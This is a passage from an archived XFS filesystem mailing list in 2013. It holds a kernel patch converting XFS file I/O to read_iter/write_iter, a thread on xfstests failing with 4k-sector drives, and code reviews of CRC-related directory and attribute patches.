acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6PHpk9h019120 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 25 Jul 2013 17:51:47 GMT Received: from abhmt116.oracle.com (abhmt116.oracle.com [141.146.116.68]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6PHpkNV019115; Thu, 25 Jul 2013 17:51:46 GMT Received: from shaggy-t410.oracle.com (/99.156.91.244) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 25 Jul 2013 10:51:45 -0700 Received: by shaggy-t410.oracle.com (Postfix, from userid 1000) id D13111E200E; Thu, 25 Jul 2013 12:51:36 -0500 (CDT) From: Dave Kleikamp To: linux-kernel@vger.kernel.org Cc: linux-fsdevel@vger.kernel.org, Andrew Morton , "Maxim V. Patlasov" , Zach Brown , Dave Kleikamp , Ben Myers , Alex Elder , xfs@oss.sgi.com Subject: [PATCH V8 27/33] xfs: add support for read_iter and write_iter Date: Thu, 25 Jul 2013 12:50:53 -0500 X-ASG-Orig-Subj: [PATCH V8 27/33] xfs: add support for read_iter and write_iter Message-Id: <1374774659-13121-28-git-send-email-dave.kleikamp@oracle.com> X-Mailer: git-send-email 1.8.3.4 In-Reply-To: <1374774659-13121-1-git-send-email-dave.kleikamp@oracle.com> References: <1374774659-13121-1-git-send-email-dave.kleikamp@oracle.com> X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1374774722 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137300 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Signed-off-by: Dave Kleikamp Cc: Ben Myers Cc: Alex Elder Cc: xfs@oss.sgi.com --- fs/xfs/xfs_file.c | 51 ++++++++++++++++++++------------------------------- 1 file changed, 20 insertions(+), 31 deletions(-) diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index de3dc98..1716b6a 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -226,10 +226,9 @@ xfs_file_fsync( } STATIC ssize_t -xfs_file_aio_read( +xfs_file_read_iter( struct kiocb *iocb, - const struct iovec *iovp, - unsigned long nr_segs, + struct iov_iter *iter, loff_t pos) { struct file *file = iocb->ki_filp; @@ -250,9 +249,7 @@ xfs_file_aio_read( if (file->f_mode & FMODE_NOCMTIME) ioflags |= IO_INVIS; - ret = generic_segment_checks(iovp, &nr_segs, &size, VERIFY_WRITE); - if (ret < 0) - return ret; + size = iov_iter_count(iter); if (unlikely(ioflags & IO_ISDIRECT)) { xfs_buftarg_t *target = @@ -305,7 +302,7 @@ xfs_file_aio_read( trace_xfs_file_read(ip, size, pos, ioflags); - ret = generic_file_aio_read(iocb, iovp, nr_segs, pos); + ret = generic_file_read_iter(iocb, iter, pos); if (ret > 0) XFS_STATS_ADD(xs_read_bytes, ret); @@ -621,10 +618,9 @@ restart: STATIC ssize_t xfs_file_dio_aio_write( struct kiocb *iocb, - const struct iovec *iovp, - unsigned long nr_segs, + struct iov_iter *iter, loff_t pos, - size_t ocount) + size_t count) { struct file *file = iocb->ki_filp; struct address_space *mapping = file->f_mapping; @@ -632,7 +628,6 @@ xfs_file_dio_aio_write( struct xfs_inode *ip = XFS_I(inode); struct xfs_mount *mp = ip->i_mount; ssize_t ret = 0; - size_t count = ocount; int unaligned_io = 0; int iolock; struct xfs_buftarg *target = XFS_IS_REALTIME_INODE(ip) ? @@ -692,8 +687,8 @@ xfs_file_dio_aio_write( } trace_xfs_file_direct_write(ip, count, iocb->ki_pos, 0); - ret = generic_file_direct_write(iocb, iovp, - &nr_segs, pos, &iocb->ki_pos, count, ocount); + ret = generic_file_direct_write_iter(iocb, iter, + pos, &iocb->ki_pos, count); out: xfs_rw_iunlock(ip, iolock); @@ -706,10 +701,9 @@ out: STATIC ssize_t xfs_file_buffered_aio_write( struct kiocb *iocb, - const struct iovec *iovp, - unsigned long nr_segs, + struct iov_iter *iter, loff_t pos, - size_t ocount) + size_t count) { struct file *file = iocb->ki_filp; struct address_space *mapping = file->f_mapping; @@ -718,7 +712,6 @@ xfs_file_buffered_aio_write( ssize_t ret; int enospc = 0; int iolock = XFS_IOLOCK_EXCL; - size_t count = ocount; xfs_rw_ilock(ip, iolock); @@ -731,7 +724,7 @@ xfs_file_buffered_aio_write( write_retry: trace_xfs_file_buffered_write(ip, count, iocb->ki_pos, 0); - ret = generic_file_buffered_write(iocb, iovp, nr_segs, + ret = generic_file_buffered_write_iter(iocb, iter, pos, &iocb->ki_pos, count, 0); /* @@ -752,10 +745,9 @@ out: } STATIC ssize_t -xfs_file_aio_write( +xfs_file_write_iter( struct kiocb *iocb, - const struct iovec *iovp, - unsigned long nr_segs, + struct iov_iter *iter, loff_t pos) { struct file *file = iocb->ki_filp; @@ -763,17 +755,15 @@ xfs_file_aio_write( struct inode *inode = mapping->host; struct xfs_inode *ip = XFS_I(inode); ssize_t ret; - size_t ocount = 0; + size_t count = 0; XFS_STATS_INC(xs_write_calls); BUG_ON(iocb->ki_pos != pos); - ret = generic_segment_checks(iovp, &nr_segs, &ocount, VERIFY_READ); - if (ret) - return ret; + count = iov_iter_count(iter); - if (ocount == 0) + if (count == 0) return 0; if (XFS_FORCED_SHUTDOWN(ip->i_mount)) { @@ -782,10 +772,9 @@ xfs_file_aio_write( } if (unlikely(file->f_flags & O_DIRECT)) - ret = xfs_file_dio_aio_write(iocb, iovp, nr_segs, pos, ocount); + ret = xfs_file_dio_aio_write(iocb, iter, pos, count); else - ret = xfs_file_buffered_aio_write(iocb, iovp, nr_segs, pos, - ocount); + ret = xfs_file_buffered_aio_write(iocb, iter, pos, count); if (ret > 0) { ssize_t err; @@ -1410,8 +1399,8 @@ const struct file_operations xfs_file_operations = { .llseek = xfs_file_llseek, .read = do_sync_read, .write = do_sync_write, - .aio_read = xfs_file_aio_read, - .aio_write = xfs_file_aio_write, + .read_iter = xfs_file_read_iter, + .write_iter = xfs_file_write_iter, .splice_read = xfs_file_splice_read, .splice_write = xfs_file_splice_write, .unlocked_ioctl = xfs_file_ioctl, -- 1.8.3.4 From dwight.engen@oracle.com Thu Jul 25 13:43:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D40307F37 for ; Thu, 25 Jul 2013 13:43:12 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B5DBC8F8050 for ; Thu, 25 Jul 2013 11:43:09 -0700 (PDT) X-ASG-Debug-ID: 1374777788-04cbb02c3b77780001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id fCHAz2GAm82ggePt (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 25 Jul 2013 11:43:08 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6PIh2qT028608 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 25 Jul 2013 18:43:06 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6PIgvsB022579 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 25 Jul 2013 18:42:59 GMT Received: from abhmt102.oracle.com (abhmt102.oracle.com [141.146.116.54]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6PIgvoE024602; Thu, 25 Jul 2013 18:42:57 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 25 Jul 2013 11:42:57 -0700 Date: Thu, 25 Jul 2013 14:43:08 -0400 From: Dwight Engen To: Eric Sandeen Cc: stan@hardwarefreak.com, xfs@oss.sgi.com, Jeff Moyer Subject: Re: [PATCH] xfstests: 091, 240, 268 fix for xfs on 4k sector hard drive Message-ID: <20130725144308.4c4a5f79@oracle.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: 091, 240, 268 fix for xfs on 4k sector hard drive In-Reply-To: <51F142E7.4050500@sandeen.net> References: <20130724143208.34b77534@oracle.com> <20130724235739.GR19986@dastard> <51F0AB56.7020705@hardwarefreak.com> <20130725102754.7c564098@oracle.com> <51F142E7.4050500@sandeen.net> Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1374777788 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137301 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Thu, 25 Jul 2013 10:23:19 -0500 Eric Sandeen wrote: [...] > (You can probably mkfs w/ an explicit 512 sector size, and confirm > that 512-byte DIOs work again) Hi Eric, yep, confirmed that doing mkfs.xfs -b size=1024 (used 1024 instead of 512 so that 240 would run) makes 091, 240, and 268 work without my changes. > bleah, perhaps that was a mistake - or perhaps we need to fix > kernelspace to prefer physical-size IOs, but allow logical-size if a > DIO requests it. ext4 and btrfs did work, so perhaps that is what they are doing, I have not looked yet. [... test 240] > >>>> -logical_block_size=`blockdev --getss $TEST_DEV` > >>>> +logical_block_size=`blockdev --getpbsz $TEST_DEV` > >>> > >>> FWIW, that doesn't make much sense - putting the physical block > >>> size into a variable named "logical_block_size"..... > > > > Yeah, that name wouldn't make much sense with this change. Its > > actually being used to compare to the fs block size and then its > > passed into aiodio_sparse2 as offset. 091 and 268 use the more > > generic name bsize, should I can change it to that? > > Well, that was put there with: > > commit 2dbd21dc152d89715263990c881025f17c7b632e > Author: Jeff Moyer > Date: Fri Feb 11 15:20:02 2011 -0500 > > 240: only run when the file system block size is larger than the > disk sector size > This test really wants to test partial file-system block I/Os. > Thus, if the device has a 4K sector size, and the file system has a > 4K block size, there's really no point in running the test. In the > attached patch, I check that the fs block size is larger than the > device's logical block size, which should cover a 4k device block > size with a 16k fs block size. > > I verified that the patched test does not run on my 4k sector > device with a 4k file system. I also verified that it continues to > run on a 512 byte logical sector device with a 4k file system block > size. > Signed-off-by: Jeff Moyer > Signed-off-by: Christoph Hellwig The name was added in this commit, and the message would lead me to believe that Jeff intended for the test to not run on a 4k physical sector disk with a 4k fs, so is the "logical_block_size" name a misnomer? From bpm@sgi.com Thu Jul 25 13:58:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B92967F37 for ; Thu, 25 Jul 2013 13:58:53 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 82FD130408D; Thu, 25 Jul 2013 11:58:50 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 469404266DC; Thu, 25 Jul 2013 13:58:50 -0500 (CDT) Date: Thu, 25 Jul 2013 13:58:50 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 14/48] xfs: add CRCs to dir2/da node blocks Message-ID: <20130725185850.GB3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-15-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1370564771-4929-15-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jun 07, 2013 at 10:25:37AM +1000, Dave Chinner wrote: > From: Dave Chinner > > Signed-off-by: Dave Chinner Corresponds with commit f5ea110044f. Note we don't have xfs_attr_node_list, xfs_attr_root_inactive, xfs_attr_node_inactive in userspace. The check and repair changes look good. > @@ -299,8 +451,10 @@ xfs_da_split(xfs_da_state_t *state) > * just got bumped because of the addition of a new root node. > * There might be three blocks involved if a double split occurred, > * and the original block 0 could be at any position in the list. > + * > + * Note: the info structures being modified here for both v2 and v3 da > + * headers, so we can do this linkage just using the v2 structures. The kernel code had additional comments here. Probably this is synced up in a subsequent patch. > STATIC void > -xfs_da_node_unbalance(xfs_da_state_t *state, xfs_da_state_blk_t *drop_blk, > - xfs_da_state_blk_t *save_blk) > +xfs_da3_node_unbalance( > + struct xfs_da_state *state, > + struct xfs_da_state_blk *drop_blk, > + struct xfs_da_state_blk *save_blk) > { > - xfs_da_intnode_t *drop_node, *save_node; > - xfs_da_node_entry_t *btree; > - int tmp; > - xfs_trans_t *tp; > + struct xfs_da_intnode *drop_node; > + struct xfs_da_intnode *save_node; > + struct xfs_da_node_entry *dbtree; > + struct xfs_da_node_entry *sbtree; > + struct xfs_da3_icnode_hdr dhdr; > + struct xfs_da3_icnode_hdr shdr; drop and save are named differently in the kernel, probably another one resolved later in the series. > + struct xfs_trans *tp; > + int sindex; > + int tmp; > > trace_xfs_da_node_unbalance(state->args); > > drop_node = drop_blk->bp->b_addr; > save_node = save_blk->bp->b_addr; > - ASSERT(drop_node->hdr.info.magic == cpu_to_be16(XFS_DA_NODE_MAGIC)); > - ASSERT(save_node->hdr.info.magic == cpu_to_be16(XFS_DA_NODE_MAGIC)); > + xfs_da3_node_hdr_from_disk(&dhdr, drop_node); > + xfs_da3_node_hdr_from_disk(&shdr, save_node); > + dbtree = xfs_da3_node_tree_p(drop_node); > + sbtree = xfs_da3_node_tree_p(save_node); > tp = state->args->trans; > > /* > * If the dying block has lower hashvals, then move all the > * elements in the remaining block up to make a hole. > */ > - if ((be32_to_cpu(drop_node->btree[0].hashval) < be32_to_cpu(save_node->btree[ 0 ].hashval)) || > - (be32_to_cpu(drop_node->btree[be16_to_cpu(drop_node->hdr.count)-1].hashval) < > - be32_to_cpu(save_node->btree[be16_to_cpu(save_node->hdr.count)-1].hashval))) > - { > - btree = &save_node->btree[be16_to_cpu(drop_node->hdr.count)]; > - tmp = be16_to_cpu(save_node->hdr.count) * (uint)sizeof(xfs_da_node_entry_t); > - memmove(btree, &save_node->btree[0], tmp); > - btree = &save_node->btree[0]; > + if ((be32_to_cpu(dbtree[0].hashval) < be32_to_cpu(sbtree[ 0 ].hashval)) || > + (be32_to_cpu(dbtree[dhdr.count - 1].hashval) < > + be32_to_cpu(sbtree[shdr.count - 1].hashval))) { > + /* XXX: check this - is memmove dst correct? */ > + tmp = shdr.count * (uint)sizeof(xfs_da_node_entry_t); > + memmove(&sbtree[dhdr.count], &sbtree[0], tmp); Mmm. I don't remember how things came out regarding the question of this memmove. > @@ -1835,17 +2153,22 @@ xfs_da_swap_lastblock( > dead_level = 0; > dead_hash = be32_to_cpu(ents[leafhdr.count - 1].hashval); > } else { > - ASSERT(dead_info->magic == cpu_to_be16(XFS_DA_NODE_MAGIC)); > + struct xfs_da3_icnode_hdr deadhdr; > + > + ASSERT(dead_info->magic == cpu_to_be16(XFS_DA_NODE_MAGIC) || > + dead_info->magic == cpu_to_be16(XFS_DA3_NODE_MAGIC)); This assert was removed in the kernel. Not sure if we want to keep it here... Reviewed-by: Ben Myers From sandeen@sandeen.net Thu Jul 25 14:07:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4EC7C7F37 for ; Thu, 25 Jul 2013 14:07:10 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3ED238F804B for ; Thu, 25 Jul 2013 12:07:07 -0700 (PDT) X-ASG-Debug-ID: 1374779225-04cb6c2e9d78960001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id Zc4pMzEXAbWquL5t for ; Thu, 25 Jul 2013 12:07:06 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 438AD65C98DE; Thu, 25 Jul 2013 14:07:05 -0500 (CDT) Message-ID: <51F17758.2040908@sandeen.net> Date: Thu, 25 Jul 2013 14:07:04 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dwight Engen CC: stan@hardwarefreak.com, xfs@oss.sgi.com, Jeff Moyer Subject: Re: [PATCH] xfstests: 091, 240, 268 fix for xfs on 4k sector hard drive References: <20130724143208.34b77534@oracle.com> <20130724235739.GR19986@dastard> <51F0AB56.7020705@hardwarefreak.com> <20130725102754.7c564098@oracle.com> <51F142E7.4050500@sandeen.net> <20130725144308.4c4a5f79@oracle.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: 091, 240, 268 fix for xfs on 4k sector hard drive In-Reply-To: <20130725144308.4c4a5f79@oracle.com> X-Enigmail-Version: 1.5.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1374779225 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137301 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 7/25/13 1:43 PM, Dwight Engen wrote: > On Thu, 25 Jul 2013 10:23:19 -0500 > Eric Sandeen wrote: > > [...] >> (You can probably mkfs w/ an explicit 512 sector size, and confirm >> that 512-byte DIOs work again) > > Hi Eric, yep, confirmed that doing mkfs.xfs -b size=1024 (used 1024 > instead of 512 so that 240 would run) makes 091, 240, and 268 work > without my changes. Ok; that's because a specified block size < physical sector size switches the "sector size" setting in the superblock back down to logical sector size. -b 4096 -s 512 should make it work too. >> bleah, perhaps that was a mistake - or perhaps we need to fix >> kernelspace to prefer physical-size IOs, but allow logical-size if a >> DIO requests it. > > ext4 and btrfs did work, so perhaps that is what they are doing, I > have not looked yet. well, they probably don't have this "sector size" notion throughout the code like we do. > [... test 240] >>>>>> -logical_block_size=`blockdev --getss $TEST_DEV` >>>>>> +logical_block_size=`blockdev --getpbsz $TEST_DEV` >>>>> >>>>> FWIW, that doesn't make much sense - putting the physical block >>>>> size into a variable named "logical_block_size"..... >>> >>> Yeah, that name wouldn't make much sense with this change. Its >>> actually being used to compare to the fs block size and then its >>> passed into aiodio_sparse2 as offset. 091 and 268 use the more >>> generic name bsize, should I can change it to that? >> >> Well, that was put there with: >> >> commit 2dbd21dc152d89715263990c881025f17c7b632e >> Author: Jeff Moyer >> Date: Fri Feb 11 15:20:02 2011 -0500 >> >> 240: only run when the file system block size is larger than the >> disk sector size >> This test really wants to test partial file-system block I/Os. >> Thus, if the device has a 4K sector size, and the file system has a >> 4K block size, there's really no point in running the test. In the >> attached patch, I check that the fs block size is larger than the >> device's logical block size, which should cover a 4k device block >> size with a 16k fs block size. >> >> I verified that the patched test does not run on my 4k sector >> device with a 4k file system. I also verified that it continues to >> run on a 512 byte logical sector device with a 4k file system block >> size. >> Signed-off-by: Jeff Moyer >> Signed-off-by: Christoph Hellwig > > The name was added in this commit, and the message would lead me to > believe that Jeff intended for the test to not run on a 4k physical > sector disk with a 4k fs, so is the "logical_block_size" name a > misnomer? Well, it wants to be able to do sub-fs-block-sized direct IO. Jeff assumed that the DIO limitation would be logical block size, but the mkfs commit I referenced changed the limit to physical block size, which I think is a mistake, in retrospect. At least for the buftarg sector sizes, we should probably set it to logical sector size, to allow smaller DIOs if requested. Let me give that some thought. -Eric From tinguely@sgi.com Thu Jul 25 14:17:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4B0637F37 for ; Thu, 25 Jul 2013 14:17:19 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 17F738F8054; Thu, 25 Jul 2013 12:17:19 -0700 (PDT) Message-ID: <51F179BE.4040506@sgi.com> Date: Thu, 25 Jul 2013 14:17:18 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 14/49] xfs: introduce xfs_inode_buf.c for inode buffer operations References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-15-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-15-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:24, Dave Chinner wrote: > From: Dave Chinner > > The only thing remaining in xfs_inode.[ch] are the operations that > read, write or verify physical inodes in their underlying buffers. > Move all this code to xfs_inode_buf.[ch] and so we can stop sharing > xfs_inode.[ch] with userspace. > > Signed-off-by: Dave Chinner > --- Bug patches committed in the last couple days make this patch no longer current. --Mark. From tinguely@sgi.com Thu Jul 25 14:24:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A6D227F3F for ; Thu, 25 Jul 2013 14:24:22 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 743EF8F804C; Thu, 25 Jul 2013 12:24:22 -0700 (PDT) Message-ID: <51F17B65.1090600@sgi.com> Date: Thu, 25 Jul 2013 14:24:21 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 13/49] xfs: move unrealted definitions out of xfs_inode.h References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-14-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-14-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:24, Dave Chinner wrote: > From: Dave Chinner > > Signed-off-by: Dave Chinner > --- > fs/xfs/xfs_ialloc.c | 1 + > fs/xfs/xfs_icache.h | 7 +++++++ > fs/xfs/xfs_inode.h | 38 -------------------------------------- > fs/xfs/xfs_log_format.h | 8 ++++++++ > 4 files changed, 16 insertions(+), 38 deletions(-) > Looks good. Reviewed-by: Mark Tinguely From bpm@sgi.com Thu Jul 25 14:53:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CA4B27F37 for ; Thu, 25 Jul 2013 14:53:28 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id B6017304067; Thu, 25 Jul 2013 12:53:25 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 87A7C4266DC; Thu, 25 Jul 2013 14:53:25 -0500 (CDT) Date: Thu, 25 Jul 2013 14:53:25 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 15/48] xfs: add CRCs to attr leaf blocks Message-ID: <20130725195325.GC3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-16-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1370564771-4929-16-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jun 07, 2013 at 10:25:38AM +1000, Dave Chinner wrote: > From: Dave Chinner > > Signed-off-by: Dave Chinner This one corresponds to commit 517c22207b04. The xfs_db, metadump, and repair changes look good. Note don't have xfs_attr_inactive, xfs_attr_leaf_list, xfs_attr_node_list, xfs_attr_node_inactive, xfs_attr_leaf_inactive, xfs_attr_leaf_freextent, xfs_attr_root_inactive, and xfs_attr_leaf_list_int in userspace. > @@ -854,24 +854,24 @@ xfs_attr_leaf_removename(xfs_da_args_t *args) > */ > dp = args->dp; > args->blkno = 0; > - error = xfs_attr_leaf_read(args->trans, args->dp, args->blkno, -1, &bp); > + error = xfs_attr3_leaf_read(args->trans, args->dp, args->blkno, -1, &bp); > if (error) > return error; > > - error = xfs_attr_leaf_lookup_int(bp, args); > + error = xfs_attr3_leaf_lookup_int(bp, args); > if (error == ENOATTR) { > xfs_trans_brelse(args->trans, bp); > return(error); In the kernel patch the parens are removed: return error; Again, this is probably fixed in a subsequent patch. > STATIC int > -xfs_attr_leaf_add_work( > - struct xfs_buf *bp, > - xfs_da_args_t *args, > - int mapindex) > +xfs_attr3_leaf_add_work( > + struct xfs_buf *bp, > + struct xfs_attr3_icleaf_hdr *ichdr, > + struct xfs_da_args *args, > + int mapindex) > { > - xfs_attr_leafblock_t *leaf; > - xfs_attr_leaf_hdr_t *hdr; > - xfs_attr_leaf_entry_t *entry; > - xfs_attr_leaf_name_local_t *name_loc; > - xfs_attr_leaf_name_remote_t *name_rmt; > - xfs_attr_leaf_map_t *map; > - xfs_mount_t *mp; > - int tmp, i; > + struct xfs_attr_leafblock *leaf; > + struct xfs_attr_leaf_entry *entry; > + struct xfs_attr_leaf_name_local *name_loc; > + struct xfs_attr_leaf_name_remote *name_rmt; > + struct xfs_attr_leaf_map *map; The kernel commit removed map. Probably fixed in a subsequent patch. Reviewed-by: Ben Myers From bpm@sgi.com Thu Jul 25 15:27:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com 